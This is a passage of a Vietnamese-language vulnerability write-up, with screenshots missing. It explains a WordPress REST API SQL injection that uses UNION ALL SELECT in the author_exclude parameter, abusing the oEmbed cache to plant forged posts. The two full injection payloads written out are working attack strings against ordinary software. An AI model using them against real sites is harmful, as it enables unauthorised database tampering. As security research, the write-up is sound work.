image.png

Payload làm rõ là :

/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,2020-01-01 00:00:00,2020-01-01 00:00:00,[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb70[/embed]>[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb71[/embed]>[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb72[/embed],seed,'',publish,closed,closed,'',seed,'','>',2020-01-01 00:00:00,2020-01-01 00:00:00,'',0,'',0,post,'',0 -- -&per_page=500&orderby=none

Giải thích : payload trên có nghĩa là tạo 3 cái embed , dựa vào cơ chế lưu embed thành ba bài viết .

image.png

image.png

Trong database đã tạo được 3 bài viết với post_type là oembed_cache. Đến đây đi luồng làm sao để tạo một post_type là post đi :

Với payload chỗ SQL như sau:

/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,2020-01-01 00:00:00,2020-01-01 00:00:00,[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb70[/embed],trigger,'',publish,closed,closed,'',trigger,'','>',2020-01-01 00:00:00,2020-01-01 00:00:00,'',0,'',0,post,'',0 UNION ALL SELECT 24,1,2020-01-01 00:00:00,2020-01-01 00:00:00,'',cache,'',publish,closed,closed,'',cache,'','',2000-01-01 00:00:00,2000-01-01 00:00:00,'',0,'',0,post,'',0 -- -&per_page=500&orderby=none

Giải thích : Thực hiện thay select 24 vào cache với các trường giả mạo, và union select đầu tiên select 0 nhưng nhúng cái hàng 24 vào .

image.png

Ở đây là cached_post đã nhận được cái giá trị mà ta cố tình select giả mạo.

image.png

Khi mà thõa các điều kiện trên thì nó xuống phần update , như lúc nãy đã nói là nó sẽ update cứng 2 trường là id và post_content nhưng mà các trường còn lại ta kiểm soát thì sẽ được update vào ví dụ ở đây ta ép nó post_type là post như lúc ta giả mạo, kết quả là

image.png

image.png